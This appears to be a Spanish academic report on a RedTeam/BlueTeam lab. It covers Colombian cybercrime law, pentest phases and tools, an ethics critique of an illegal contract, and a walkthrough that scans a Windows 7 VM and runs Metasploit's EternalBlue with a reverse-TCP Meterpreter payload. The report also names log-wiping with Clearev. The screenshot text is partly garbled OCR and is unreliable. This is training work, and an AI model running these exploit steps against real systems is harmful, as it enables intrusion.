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Resumen
Para este trabajo, se realizo un andlisis integral de la estrategias técnicas y éticas implementadas
por los equipos RedTeam y BlueTeam, en un entorno simulado de ciberseguridad. Se abordaron
metodologias pruebas de penetracion, explotacion de vulnerabilidades, normativas legales
colombianas en delitos informaticos y mecanismos de contencion de hardening. A través de la
ejecucion practica de ataques simulados y respuestas defensivas, se evidenciaron riesgos reales
que enfrentan las organizaciones y se proponen estrategias para mitigar dichos riesgos. El trabajo
final, destaca la importancia de la actuacion ética, el cumplimento legal y la colaboracion entre

equipos, para fortalecer la estrategia de seguridad de la informacion de las empresas.
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Abstract
For this project, a comprehensive analysis was conducted on the technical and ethical strategies
implemented by RedTeam and BlueTeam, within a simulated cybersecurity environment.
penetration testing methodologies, vulnerability exploitation, Colombian legal regulations on
cybercrime, and hardening containment mechanisms were addressed. Through the practical
execution of simulated attacks and defensive responses, real risks faced by organizations were
identified, and strategies were proposed to mitigate those risks. This final work highlights the
importance of ethical conduct, legal compliance, and team collaboration to strengthen the

information security posture of companies.
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Glosario

Ciberseguridad: Conjunto de practicas, tecnologias y procesos disefiados para proteger
sistemas de informaticos, redes y datos contra ataques, dafios o accesos no autorizados.

RedTeam: Equipo especializado en realizar simulaciones ofensivas de ciberataques para
identificar vulnerabilidades en los sistemas de una empresa u organizacion, actuando como un
atacante ético.

BlueTeam: Equipo defensor encargado de detectar, mitigar y responder a los ciberataques,
garantizando la proteccion continua de los activos de informacion de una empresa u organizacion.

Hardening: Proceso de fortalecer la seguridad de sistemas informaticos mediante la
reduccion de vulnerabilidades, desactivando servicios innecesarios y aplicando configuraciones
seguras.

CVE (Common Vulnerabilities and Exposures): Identificador nico y estandarizado
para registrar vulnerabilidades de seguridad conocidas en software y hardware.

Metasploit: Herramienta de codigo abierto utilizada para desarrollar, probar y ejecutar
exploits contra sistemas vulnerables.

SIEM (Security Information and Event Management): Sistema que recopila, analiza y
correlaciona eventos de seguridad de diversos dispositivos para detectar amenazas y facilitar la
respuesta a incidente.

Purple Team: Modelo de colaboracion entre los equipos Red Team y Blue Team, cuyo

objetivo es mejorar las defensas mediante ejercicios conjuntos y retroalimentacion mutua



Introduccion
El entorno digital de las empresas y organizaciones modernas es cada vez mas complejo y
expuesto a multiples amenas cibernéticas. La necesidad de utilizar sistemas informaticos y redes
ha convertido la ciberseguridad en un componente esencial para la continuidad operativa de las
organizaciones, ademas, de la obligacion del cumplimiento normativo y de la proteccion de datos.
Por este motivo, los equipos RedTeam y BlueTeam, desempefian un papel estratégico en la
identificacion de vulnerabilidades, la simulacion de ataques y la implementacion de defensas

efectivas.

Planteado lo anterior, este trabajo presenta un andlisis integral de la dinamica ofensiva y
defensiva de la ciberseguridad, mediante la aplicaciéon de metodologias propias de los equipos
RedTeam y BlueTeam, en un entorno controlado. Para esto, se realizan pruebas de penetracion,
explotacion de vulnerabilidades y respuesta ante incidentes, se busca demostrar la importancia de
una postura de seguridad proactiva y resiliente.

Ademas del enfoque técnico, el documento incorpora un andlisis del marco legal
colombiano, relacionado con los delitos informéticos y proteccion de datos personales, resaltando
la necesidad de actuar acorde a principios €ticos y normativos, en cualquier ejercicio de auditoria
o intervencion digital. Finalmente, se propone estrategias de hardening y recomendaciones
orientadas al fortalecimiento de la infraestructura tecnoldgica en las empresas u organizaciones,

contribuyendo asi a una cultura de seguridad muy solida.
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Justificacion

El crecimiento de las amenazas cibernéticas y la acelerada evolucion de las técnicas de
ataque, representan un desafio para las empresas u organizaciones publicas y privadas. Dada esta
realidad, se hace necesario contar con profesionales capaces de comprender, simular y defenderse
a dichas empresas u organizaciones, frente a escenarios complejos de ciberseguridad. En este
sentido, el trabajo se justifica por su aporte académico y practico al desarrollo de competencias
técnicas, éticas y legales en el ambito de la seguridad informatica.

Los ejercicios controlados mediante equipos RedTeam y BlueTeam, permite simular
situaciones reales de intrusion y respuesta, lo que facilita una comprension profunda de las
vulnerabilidades que pueden ser explotadas en contra de las empresas, asi como las tacticas mas
efectivas para mitigarlas. Estas simulaciones, al ser desarrolladas en entornos virtuales seguros,
proporcionan una experiencia formativa para el andlisis y mejora continua de la postura de
seguridad en las empresas u organizaciones.

Ademés este documento integra, el andlisis del marco normativo colombiano en relacion
con los delitos informaticos y la proteccion de datos personales, reforzando la importancia de una
actuacion profesional ética y legal. Asi el trabajo no solo fortalece habilidades técnicas, sino que
también fomenta una vision general que vincula la tecnologia con la responsabilidad social y

juridica.
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Objetivos
Objetivo General

Disenar estrategias técnicas y €ticas basadas en las funciones de los equipos RedTeam y
BlueTeam, en un entorno controlado, mediante identificacion de vulnerabilidades y la ejecucion
de pruebas con el fin formular mecanismos de defensa y contencidon que fortalezcas la postura de
seguridad en empresas u organizaciones.

Objetivos Especificos

Identificar metodologias de pruebas de penetracion para evaluar la seguridad de un sistema
simulado, teniendo en cuenta las fases del proceso.

Analizar el marco legal y ético colombiano, relacionado con delitos informaticos y
proteccion de datos personales, aplicando sus lineamientos a casos reales y simulados en contexto
de ciberseguridad.

Proponer medidas de contencion y estrategias de hardening fundamentadas en las mejores
practicas del BlueTeam, con el fin lograr mitigar ataques similares a los ejecutados durante la

simulacion.



12

Capacidades técnicas, legales y de gestion para equipos BlueTeam y RedTeam

Etapa 1 conceptos equipos de Seguridad

Marco legal en Colombia sobre delitos informaticos y proteccion de datos personal

Ley 1273 del 2009

Esta normativa fue creada en Colombia para la proteccion de la informacion y los datos de
sistemas informaticos, redes, medios electronicos y afines, con esta normativa se pretende
combatir los delitos informaticos y reconoce en Colombia, como un derecho, la seguridad de los
datos personales y corporativo, sus principales delitos tipificados fueron:

Acceso abusivo a un sistema informatico, con una pena de 48 a 96 meses de prision y
multas de 10 a 1000 salarios minimos.

Obstaculizacion ilegitima de sistemas informaticos o red, dado que se protege el uso
continuo y seguro de los sistemas informaticos.

Interceptacion de datos informaticos, en esta protege la captura, interferencia en la
transmision de datos digitales sin consentimiento.

Dafio informatico. protege de la modificacion, borrar o dafiar datos o software sin
autorizacion.

Uso de Software malicioso, describe sobre la creacion, distribucion o utilizacion de
programas con la intencioén de dafiar o afectar sistemas.

Violacion de datos personales, toca temas relacionados con la proteccion de la intimidad y

privacidad de la informacion personal sin consentimiento.
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suplantacion de sitios web, en €l se prohibe la creacion de paginas falsas para obtener datos
personales. (Ministerio del Interior, 2009)

Ley 1581 de 2012

Mas conocida la como la ley de proteccion de datos personales, es el marco legal para el
tratamiento de estos datos y su principal objetivo es proteger el derecho fundamental de la
proteccion de datos personales que tiene toda persona. Sus puntos claves son:

Principios rectores: define la guia de como se deben tratara los datos personales, como su
finalidad, la libertad, la transparencia, la seguridad, la confiabilidad, la veracidad o calidad del
dato, la necesidad del dato, y el acceso y circulacion restringida.

Derechos del titular: reconoce los derechos a las personas sobre sus datos personales.

Obligaciones y los derechos y encargados del tratamiento: este impone una seria de
obligaciones a quienes recolectan y tratan datos personales.

Autorizacion: da las reglas para la obtencion del consentimiento del titular para el
tratamiento de datos personales, dado que este consentimiento debe ser previo expreso e
informado.

Trasferencia y transmision internacional de datos: este regula las condiciones bajo las
cuales se pueden enviar datos personales a otros paises y la exigencia del nivel adecuado
proteccion del pais receptor.

Superintendencia de industria y comercio (SIC): designa como autoridad al SIC. encargada
de controlar y velar por el cumplimento de esta ley, como sus investigaciones y las sanciones.

(Presidencia de la Republica Colombiana, 2012).
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Decreto 1377 de 2013

Este decreto establece las condiciones y procedimientos para implementar la le 1581 del
2012 y aplica a todas las personas naturales o juridicas publicos privadas que manejen bases de
datos personales en Colombia.

Los aspectos claves del decreto son la autorizacion del titular, los avisos de privacidad, la
politica de tratamiento de la informacion, los canales de consultas y reclamos, las medidas de
seguridad que las entidades deben implementar para la proteccion de datos personales. (Republica
de Colombia , 2013)

Decreto 338 de 2022

Establece los lineamientos de la gobernanza de la seguridad digital en Colombia, sus
objetivos principales, son fortalecer la gobernanza de la seguridad digital, identificar
infraestructuras criticas y servicios esenciales, gestionar riesgos y responder a incidentes de
seguridad digital. (Republica de Colombia, 2022).

Resolucion 500 de 2021

Establece los lineamientos y estdndares para la estrategia de seguridad digital y adopta el
modelo de seguridad digital y privacidad de la informacién (MSPI), para que las entidades ptblicas
implementen medidas técnicas, administrativas y de talento humano que garanticen la seguridad
digital. Como sus aspectos claves estan la implementacion del MSPI, las estrategias de seguridad

digital que cada entidad debe desarrollar, la gestion de riesgos e incidentes, y la cultura de

seguridad digital. (MinTIC, 2021)
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Pruebas de penetracion o pentesting

las pruebas de penetracion se entienden como la simulacion contralada de ataques para la
identificacion de vulnerabilidad informaticas en sistemas, redes o aplicaciones. Estas pruebas de
penetracion tienen varias etapas de son la siguientes:

Reconocimiento o recoleccion de informacion:

En esta etapa se busca y recopila la mayor cantidad de informacion sobre el objetivo, sin
interactuar directamente con €1, una herramienta muy conocida es Maltego, esta es una herramienta
de fuentes abiertas y forense, la cual permite la busqueda de informacion de diversas fuentes, como
perfiles y publicaciones, la herramienta permite cruzar datos para identificar conexiones y
relaciones
Escaneo:

Se identifica las versiones del software del objetivo, puertos abiertos o los servicios activos,
para comprender la distribucion y posibles putos de entrada. Un ejemplo de este tipo de
herramientas es Nmap, la cual es de codigo abierto, se utiliza para el descubrimiento de redes o
auditorias de seguridad.

Enumeracion y andlisis de vulnerabilidades:

Se utiliza para identificar posibles fallos de seguridad, para comparar la informacion
recopilada con bases de datos de vulnerabilidad, analizar la configuracion de sistemas y evaluar la
seguridad de las aplicaciones web. Un ejemplo es Nessus, esta es una herramienta que ayuda es
expertos en seguridad a realizar escaneo de vulnerabilidad y reducir la superficie de ataques en las

organizaciones.
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Explotacion:

En esta etapa, se busca demostrar el impacto real de las vulnerabilidades y evaluar la
efectividad de los sistemas de seguridad, evitando posibles dafios a los sistemas de los clientes. Un
ejemplo, es un framework de pruebas de penetracion de coddigo abierto, el cual proporciona
informacion sobre las vulnerabilidades, ayudando a identificar y mitigar riesgos de seguridad.
Post-explotacion:

En esta etapa, después de obtener acceso, se analiza la informacién que se logro obtener,
si se puede mantener el acceso y hasta donde se compromete el sistema o la red. Un ejemplo es
Meterpreter esta herramienta se utiliza para el control remoto y explotacion de sistemas
comprometidos, esta facilita la administracion y control por parte del atacante.

Limpieza:

En esta etapa se elimina rastros de las actividades realizadas. Un ejemplo es Clearev, esta
herramienta permite el borrado de registros en sistemas operativos como Windows.
Reporte:

Esta es la etapa final del pentesting, es esta etapa se documenta detalladamente los
hallazgos en el proceso y las vulnerabilidades encontradas, con recomendaciones para corregir las
situaciones detectadas. Un ejemplo es Dradis, esta herramienta permite el intercambio de
informacion recopilada durante las pruebas, lo cual facilita la colaboracion y obtencion de
resultados. (Castillo, 2018)

Herramientas de ciberseguridad
Metasploit:
Es un entorno de desarrollo de codigo abierto, con el cual un profesional en seguridad

prueba, ejecuta y desarrolla “exploits” en sistemas vulnerable. Con esta herramienta se puede



17

imitar ataques reales, probar la efectividad de las medidas de seguridad en las empresas, demostrar
el impacto que podria tener la brecha de seguridad, desarrollas nuevos exploits y modelos de
ataques personalizados.

Para su uso lo més normal es identificar los sistemas vulnerables, luego se selecciona un
exploit apropiado, se configura el exploit objetivo con la IP y otros parametros, se ejecuta el exploit
y se accede al sistema comprometido y realiza las acciones post explotacion. (metasploit, 2025).
Nmap:

Es una herramienta de cédigo abierto para escaneo y descubrimiento de redes, muy
utilizada por administradores de res y profesionales en ciberseguridad. Con ella se puede descubrir
dispositivos en una red, identificar puestos abiertos en maquinas remotas, detectar servicios y
versiones de ellos que estén corriendo, descubrir vulnerabilidades bésicas y auditar la seguridad
de una red.

Con esta herramienta de puede detectar puertos innecesariamente abiertos, validar si los
servicios estdn funcionando correctamente, identificar software obsoleto o mal configurado y
automatizar Auditorias de red. (Nmap, 2025)

OpenVas:

Herramienta de escafiero de vulnerabilidades de codigo abierto, disefiada para detectar
fallos de seguridad en sistemas, redes y aplicaciones, sirve para buscar vulnerabilidades, auditar la
seguridad de redes y servidores, generar reportes y cumplir con normativas y estdndares de
seguridad, su funcionamiento se soporta en bases de datos de vulnerabilidades (FeeD), escaneo de
objetivos, resultados y reportes.

Con ella, se puede detectar servicios desactualizados o inseguros, encontrar

configuraciones erroneas, evaluar la exposicion de una red ante ataques externos, monitorear la
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seguridad de los activos y proteger servidores, bases de datos, aplicaciones y dispositivos IoT.
(Greenbone Vulnerability Management, 2025)
ExploitDB:

Se entiende como una base de datos publica y gratis que contiene exploits, herramienta de
prueba de seguridad y vulnerabilidades. Su utilidad es investigar vulnerabilidades conocidas en
software, sistemas operativos y aplicaciones web, mantener exploits pibicos para pruebas de
penetracion, aprender técnicas de explotacion reales en entornos de laboratorio y desarrollar
defensas al saber como funcionan los ataques.

Con ExploitDb, se puede consultar si un software tiene vulnerabilidades conocidas, de ellos
también se puede descargar y probar exploits en entornos controlados, investigar exploits para
escribir scripts personalizados y comparar versiones vulnerables vs versiones parchadas.
(EXPLOIT DATABASE, 2025)

CVE

Vulnerabilidades y exposiciones comunes (CVE) es un sistema de identificacion
estandarizado para las vulnerabilidades de seguridad conocidas en software y hardware. Con esta
codificacion, se identifican vulnerabilidades de forma universal, esto facilita la comunicacion entre
expertos en seguridad, se gestionan los parches y actualizaciones en funcién de los riesgos
detectados y evaluar riesgos.

El codigo CVE funciona de la siguiente manera, primero una empresa o investigador en
hacker ético detecta una falla de seguridad, esta vulnerabilidad es reportada en (CVE Nombering
Authority) CNA alguna organizacion que gestiona CVE, la informacion se verifica y se le asigna
un numero CVE vy la vulnerabilidad en publicada en alguna organizacion o base de datos con

analisis de impacto. (MITRE Corporation, 2025)
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Banco de trabajo

Se descargo la tltima version de Oracle VirtualBox

Tlustracion 1 Ultima version de Oracle virtual Box

U8 Gracie VikuaiBox Administrador
Archivo Maquina Ayuda
v L2y o | 1
o = 0 W i 0
LG‘_M Herramientas - = Al R | S e
\ Preferencias  Importar Exportar  Nueva Adadir

iBienvenido a VirtualBox!

La parte izquierda de esta ventana contiene herramientas globales y una lista
de todas las maquinas virtuales y grupos de maquinas virtuales en su
computadora. Puede importar, afadir y crear nuevas MVs usando los botones
correspondientes de la barra de herramientas. Puede abrir un «popups del

correspondiente, Puede presionar la

tanta
visitar www.virtualbox.org para mas informacion y las altimas noticias.

Fuente: Autor

Se ingres6 al foro donde se encuentran las herramientas de trabajo

Tlustracion 2 Foro de herramientas de trabajo

L o A Luis Femando Zambrano Hernandez > Laboratorios Controlados > Seminario Especializado > RedTeam&BuleTeam2024
£ Luis Femando Zambrano Hern...

B4 Ourfiles [ Name + Medified © Modified By ~ File size ~

Sharing Activity
Parrot-security-6.3.2_amdéd.ova ¥ ddaysago Luis Fenando Zam  6.87 GB & Shared
me Rejjeto_123456zip K September3,2024 Luis Femando Zam 146 MB & Shared
/] Win7-SE2020-X6dova X -+ B {y September3 2024 LuisFemandoZam 351GB & Shared

Fuente: Autor

Se realiz6 la importacion de las dos maquinas virtuales de Windows y Kali Linux

Lo primero que se realizo fue la busqueda del equipo el cual se va a realizar el ataque
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Tlustracion 3 imagen de la busqueda del equipo a atacar

Fuente: autor

Se realizo la busqueda desde Kali Linux y todo desde una maquina virtual instalada.

Después se realizo la instalacion del software Nessus, con el cual se cred un scan y se
realizd escaneo del computador con sistema operativo Windows 7 como se muestra en la
ilustracion 2, el cual tenia IP 192.168.20.255
Etapa 2 Actuacion ética y legal
Andlisis sobre el acuerdo legal CyberFort Technologieses

Revisando el contrato, no se estd de acuerdo con varias clausulas del contrato, dado que
una de ella habla sobre confidencialidad sobre procesos ilegales dentro de CyberFort
Technologies. Este apartado es abiertamente ilegal y poco ético, pues se estd obligando al
empleado a ocultar actividades ilegales, esto es penado por ley, mas si la organizacion incurre en
accesos abusivos a sistemas informaticos.

Por otra parte, en la cldusula segunda, se habla de informacion confidencial, en esta
reconoce que existen actividades delictivas como chuzadas, lo cual, en el contexto legal del pais
es una accion gravisima. Por tanto, que este explicito en un contrato es abiertamente ilegal y tratar

de protegerla mediante el argumento de confidencialidad, tipifica una obstruccion a la justicia.
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En este mismo sentido, en la clausula tercera item 3, fortalecen la idea de silenciar a la
parte receptora, asi sea en delitos como espionaje o apropiacion de informacién, esto vulnera los
derechos y deberes como ciudadano, pues impide la denuncia de delitos.

Por ultimo, en la cldusula octava, la cual habla sobre solucion de controversias, se pretende
trasladar toda la responsabilidad penal a la persona receptora de la informacidn, aun cuando estas
actividades ilegales provienen de la empresa, se considera que esto no solo es totalmente ilegal,
sino que ademas vulnera el derecho fundamental del firmante y lo pone en una situacion de riesgo
juridico, sin ningln respaldo legal.

Analisis segiin articulos de la ley 1273.

De acuerdo con la lectura el anexo 3 incurre en la violacioén de los siguientes articulos de
la ley 1273 del 2009.

El articulo 269A, castiga el acceso abusivo a un sistema informatico y este acuerdo no solo
admite este delito si no que lo blinda contractualmente. (Ministerio del Interior, 2009).

El articulo 269B, obstaculizacion ilegitima de sistema informatico o red de
telecomunicacion esta vulnerado, dado que al inferir en sistemas de terceros para obtener datos
por espionaje y chuzadas, podria estar entorpeciendo de manera ilegal su funcionamiento y esto es
penalizado por este articulo. (Ministerio del Interior, 2009).

El articulo 269C, interceptacion de datos informaticos, el acuerdo normaliza y cubre la
interceptacion de datos, lo que constituye un delito penado por este articulo y esto en Colombia
solo se puede realizar mediante orden judicial, esto lo contempla este acuerdo. (Ministerio del
Interior, 2009).

El articulo 269D, dafo Informético, puede ser que en el acuerdo no aparezca explicitamente

la manipulacion o modificacion de datos obtenidos mediante acceso abusivo, pero si la
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informacion obtenida por CyberFort es alterada o dafiada, esto constituiria una conducta tipificada
como dafio informatico. (Ministerio del Interior, 2009).

El articulo 269F, el uso de software malicioso tampoco esta mencionado en el acuerdo,
pero se puede interpretar que el espionaje o acceso abusivo se estaria utilizado software
especializado para atacar sistemas informaticos. (Ministerio del Interior, 2009).

El articulo 269H, violacion de datos personales, dado que la empresa recolecta datos
personales sin consentimiento y ademas prohibe la denuncia, se estaria violando el derecho a la
intimidad y la ley de proteccion de datos personales. (Ministerio del Interior, 2009).

Procesos poco éticos CyberFort Technologies

No aceptaria el trabajo, dado que la oferta econdmica no me parece buena, aunque la
estabilidad laboral es atractiva, no creo que sea conveniente aceptar el trabajo, dado que implica
riesgos juridicos severos, que podrian afectar mi libertad personal, reputacion y fututo laboral, el
contrato vitalicio no compensa el riesgo de ser procesado. Ademas, el acuerdo invalida la
posibilidad, de cumplir con los deberes y la ética, esto genera un conflicto directo con las leyes
colombianas y los lineamientos éticos planteados por el COPNIA (COPNIA, 2003). Se considera,
que la ingenieria se debe ejercer con responsabilidad social y legal, tal como lo definen os
lineamiento del COPNIA.

Punto de vista Ciberespionaje y Etica en CyberFort Technologies

JHasta qué punto las empresas de ciberseguridad deben tener acceso a informacion sensible de
sus clientes durante una auditoria de seguridad, y como se puede garantizar que este acceso no
sea explotado de manera indebida?

Como empresa de ciberseguridad, se debe tener acceso limitado y controlado a informacion

sensible, para lograr identificar vulnerabilidades y riesgos, pero esto debe estar claramente
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delimitado, supervisado y regulado. Para evitar lo que sucedid en este caso, el contrato establecido,
debe tener alcances y limites claros, un consentimiento de auditabilidad, dado que el cliente debe
aprobar previamente los procedimientos e informes claros de cada paso para esto utilizar bitacoras
y herramientas de monitoreo, todo el personal debe firmar acuerdos de conductas éticas y
confidenciales, con sanciones en caso de mal uso de los datos. Ya que los empleados que excedan
su autorizacion deben ser procesador penalmente,

En la ciberseguridad la confianza es tan importante como el conocimiento técnico, para
esto las empresas deben establecer marcos solios y actuacion ética legal y técnica para lograr que
el acceso a sistemas criticos no se convierta en una herramienta de abuso.

JQué mecanismos de supervision y control deberian implementarse en las empresas de
ciberseguridad para evitar que sus empleados utilicen herramientas avanzadas de andlisis
forense con fines no autorizados o éticamente cuestionables?

Los mejores mecanismos de supervision y control pueden ser los siguientes

e Politicas claras de uso y acceso a herramientas: para esto es importante crear e
implementar manuales internos de uso ético y técnico.

e Control de accesos basado en roles (RBAC): los accesos a herramientas forenses se
beben configurar bajo principios de minimos privilegios, dado que solo personal
autorizado, bajo objetivos justificados y concretos.

e Auditorias internas y externas: se deben realizar auditorias de seguridad regulares
(técnicas y €ticas), en estas se deben incluir la verificacion de que los accesos fueron

registrados, legitimos y justificados.
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e Registros y monitoreo de actividades: el uso de herramientas se debe registrar fecha
y hora usuario responsable con su caso asignado y su respectiva descripcion de lo
realizado.

e Capacitacion en ética profesional y leyes.

e (anales de denuncia seguros y andénimos: establecer canales internos para que
cualquiera pueda reportar actividades sospechosas o violaciones éticas sin
represalias, esto acompafiado de mecanismos legales y confidenciales.

e Clausulas contractuales de ética y sanciones

e Segregacion de funciones: se debe evitar que una persona tenga control total sobre
las operaciones.

cComo deberian responder los gobiernos y organizaciones cuando descubren que una empresa
de ciberseguridad contratada ha cometido actos de ciberespionaje? ;Cudles serian las medidas
adecuadas para restaurar la confianza y asegurar que no ocurra nuevamente
Las medidas a tomar por parte de gobiernos y organizaciones podrian ser
Respuesta inmediata
Aislamiento y contencidn del incidente: para esto se debe revocar el acceso a las
empresas involucradas a los sistemas, también aislar los dispositivos afectados y analizar cada uno
de ellos, ademas activar planes de contingencia y protocolos de respuesta. Notificar a todos los
interesados incluyendo autoridades judiciales, auditores externos y usuarios afectados
Acciones legales y de responsabilidad
Iniciar procesos penales y civiles contra la empresa y empleados implicados
Hacer efectivas las clausulas contractuales para resarcimiento econdmico,

sanciones por incumplimiento o nulidad del contrato
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Auditorias y revisiones internas
Revisar que datos fueron accedidos, como se produjo el fallo de control y que
vulnerabilidades fueron explotadas.
Restaurar la confianza y prevenciones futuras
Reformular politicas de contratacion para esto implantar algo mas estricto de
verificacion de antecedentes técnicos, legales y éticos.
Fortalecer la gobernanza TI mediante comités de ética y seguridad
Transparencia y comunicaciéon para esto publicar de forma responsable y
transparente los hechos descubiertos y mostrar las acciones legales tomadas con sus medidas
implementadas.
Etapa 3 ejecucion pruebas de intrusion
Continuando con el banco de trabajo ya puesta en marca en capitulos anteriores se realizo
lo siguiente:
Después se realiz6 la instalacion del software nessus con el cual se cred un scan y se realizo
escaneo del computador con sistema operativo Windows 7 como se muestra en la ilustracion 2 el

cual tenia ip 192.168.20.255

Ilustracion 4 creacion de scan

Fuente: Autor
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Después de realizado el escaneo que evidencio las vulnerabilidades encontradas en el

sistema operativo como se evidencia en la ilustracion 3 en la cual de muestran 22 vulnerabilidades

Tlustracion 5 vulnerabilidades encontradas

Fuente: Autor

Ilustracion 6 muestra de todas las vulnerabilidades encontradas

Fuente: Autor
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Tlustracion 7 vulnerabilidades mas importantes

Fuente: Autor

Tlustracion 8 vulnerabilidades nivel medio

Fuente: Autor

Con la herramienta Nessus se encontraron 22 vulnerabilidades de las mas importantes se
evidencia las siguientes

Aqui busco lo maqui con Nmap
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Tlustracion 9 Buscando maquina con Nmap

Fuente: Autor

Tlustracion 10 maquina encontrada con IP 192.168.21.124

Intemer

accesa telefénico, ad hoe 0 VPN o

equipes de ls red o cambiar s

macién de solucion de problemas.

HONE 2 ME T ¥ @0 crperecho

Fuente: Autor
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Tlustracion 11 vulnerabilidad encontrada

Interrupt: use the 'exit' command to quit
EXIT
known command: EXIT. Did you mean ? Run the command for more details.
exit
root@ingsistemas-HP-Z6-G5-Workstation-Desktop-PC: fhome/ingsistemas# nmap -p 445 --script smb-
vuln-ms17-010 192.168.21.124
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-03 14:43 -05
Nmap scan report for 192.168.21.124
Host is up (©®.00045s latency).

PORT STATE SERVICE
445 /tcp open microsoft-ds
MAC Address: 8B:080:27:92:80:C0 (0Oracle VirtualBox wirtual NIC)

Host script results:
smb-vuln-ms17-010:
VULNERABLE :
Remote Code Execution wvulnerability in Microsoft SMBvl servers (msl1l7-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution wvulnerability exists in Microsoft SMBvl
servers (msl17-010).

|
|
|
|
|
|
|
|
|
| Disclosure date: 2017-03-14

| Reference

| https:f/technet.microsoft.comfen-us/flibrary/security/msi17-0108.aspx

| https:f/blogs. technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-
attacks/

I

https://cve.mitre.org/cgi-bin/cvename.cgi?zname=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in ©.58 seconds
root@ingsistemas-HP-Z6-G5-Workstation-Desktop-PC: fhome/ingsistemas# l

Fuente: Autor

Ilustracion 12 ingresando a la consola

Nmap done: 1 IP address (1 host up) scanned in ©.58 seconds
root@ingsistemas-HP-Z6-G5-Workstation-Desktop-PC: fhome/ingsistemas# msfconsole
This copy of metasploit-framework is more than two weeks old.

Consider running 'msfupdate' to update to the latest version.

Metaspleoit tip: Use help =command> to learn more about any command

curity Interface

access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and...

[ me loit 5 - -

[ 2502 ploits - 1290 auxiliary - 431 post
1687 payloads - 49 encoders - 13 nops
9 evasion

Metasploit Documentation: https://docs.metasploit.com/

sf6 = l

Fuente: Autor

Mas vulnerabilidades visibles
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Ilustracion 13 MS17-010

etasploit Documentation: https://docs.metasploit.com/

search Ms17-810

Disclosure Date Rank

2017-63-14
sMB Remote Windows Kernel Pool Corruption
target: Automatic Target .
target: Windows 7
target: Windows Embedded Standard 7
target: Windows Server 2008 R2
target: Windows 8
target: Windows 8.1
target: Windows Server 2012
target: Windows 1© Pro
_ target: Windows 1©® Enterprise Evaluation o o -
1 exploit/windows/smb/msi17_016_psexec 2017-63-14 normal Yes
EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
target: Automatic
target: PowersShell
target: Native upload
target: MOF upload
ETERMNALSYNERGY
ETERMNALROMANCE
ETERMNALCHAMPION
A ETERNALBLUE . . .
19 auxiliary/admin/smb/ms17_018_command 2017-63-14 normal No
EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
20 W_ AKA: ETERNALSYMNERGY
21 \_ AK ETERMNALROMANCE
22 A ETERNALCHAMPIOMN
23 \_ AK ETERNALBLUE = = =
24 auxiliary/scanner/smb/smb_ms17_oe1e o normal No
SMB RCE Detection
25 \_ AK DOUBLEPULSAR
26 \_ AK ETERNALBLUE =
27 exploit/windows /smb/smb_doublepulsar_rce 2017-04-14
JBELEPULSAR Remote Code Execution
28 . target: Execute payload (x64)
29 \_ target: Neutralize implant

VOSNOUhWNE

[nteract with a module by name or index. For example =

fter interacting with a module you can manually set a TARGET with

Fuente: Autor

Ilustracion 14 Tomando el control

sf6 > use exploit/windows/smb/ms17 016 eternalblue

No payload configured, defaulting to windows/x64/meterpreter/reverse tcp
sfo exploit( ) > set RHOSTS 192.168.21.124
RHOSTS => 192.168.21.124
sfo exploit( set LHOST 192.192.21.116

LHOST => 192.192.21.116

sf6 exploit( set LPORT 445

LPORT => 445

sf6 exploit( set PAY windows/x64 /meterpreter/reverse
cp

AYLOAD => windows/x64/meterpr reverse_tep

sf6 exploit( ) > show optionsl

Fuente: Autor
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Tlustracion 15 ingresando a la maquina

PORT
MBDomain

VERIFY_AR

Paviload

Mame

Fuente: Autor

domain
WLndows
Embedded Standar

The pa word Tfor the

username to authenticate a

emote
WL Nndow s .
= sStandard
Ffmeterpreter frever
rRequired
CAccepted: ", eh

Interface

Ilustracion 16 realizando el exploit

msfe exploit(
failed to bind to
reverse TCP handler

Handler
Started
192 .168.21.124:445
192 .168.21.124:445
serwvice Pack 1 x64
192 .168.21.124:445
192 .168.21.124:445
192 .168.21.124:445
192 .168.21.124:445
192 .168.21.1249:445
192 .168.21.124:445
192 .168.21.124:445
7 Profes
192 .168.21.124
serwv
192 .168.21.124

a4as
aas

192 .168.21.124:445
192 .168.21.124:445
192 .168.21.124:445
192.168.21.124:445
192 .168.21.124:445
192 .168.21.124:445

192 .168.21.124:445
192.168.21.124:445
192 .168.21.124:445
192 .168.21.124:445
192 .168.21.124:445

192 .168.21.124:445

192.168.21.124
192 .168.21.
192 .168.21.
192 .168.21.
192.168.21.
192.168.21.
192 .168.21.
192.168.21.
7 Profes
192.168.21.
serwv
192 .168.21.

qaas

192 .168.21.
192 .168.21 .
192.168.21.124:445
192 .168.21.124:445
192 .168.21.124:445
192 .168.21.124:445

192 .168.21.124:445
192 .168.21.

192 .168.21.124:445
192 .168.21.1249:445
192 .168.21.124:445
192 .168.21.124:445
192 .168.21.124:445
192 .168.21.124:445

Fuente: Autor

) = exploit
192.192.21.116:445: - -
on 9.0.0.0:445
Using auxiliary/scanner/smb/smb_ms17_©1& as chec
- Hest is likely VULMNERABLE to MS17-0160! - Windows 7 Preofessioconal

1 of 1 hosts (100%
is wvulnerable.

toe target for exploitation.
established for expleitation.
selected walid for 0SS indicated
dump (42 bytes)
69 6e 64 6F 77 T3

complete)
The target
Connecting
Connection
Target 0OS
CORE raw buffer
Ox00000000 57

sSMB reply

20 37 20 72 6F 66 65 T3 Windows

Ox00000010 73 ©9 of oce 1 20 37 36 30 20 53 65 72 To sional

Ox00000020 69 6 65 50 63 6b 2e 31
Target arch selected wvalid for arch indicated
Trying ploit with 12 Groom Allocations.
sending all but last fragment of exploit packet
starting non-paged pool grooming

ending Bw2 buffers

Clesing SMBw1l connection creating free hole adjacent to

by DCE/RPC replwy

SMBwv2 buffe

Sending final sMBv2 buffers.

sending last fragment of exploit packet!
Receiving response from exploit packet
ETERNALBLUE coverwrite completed successfully
Sending egg to corrupted connection.
Triggering free of corrupted buffer.

(exceeaeeeD)!

Connecting
Connection
Target OS

CORE raw buffer
Ox00000000

to target for ploitation.

established for exploitation.
selected walid for 0s indicated
dump (42 bwvtes)
57 69 o6e 64 6fF 77 73

SMB replw

20 37 20 72 of 66 65 73 Windows

Ox00000010 73 69 6f 20 37 36 30 20 53 65 72 T6 sional

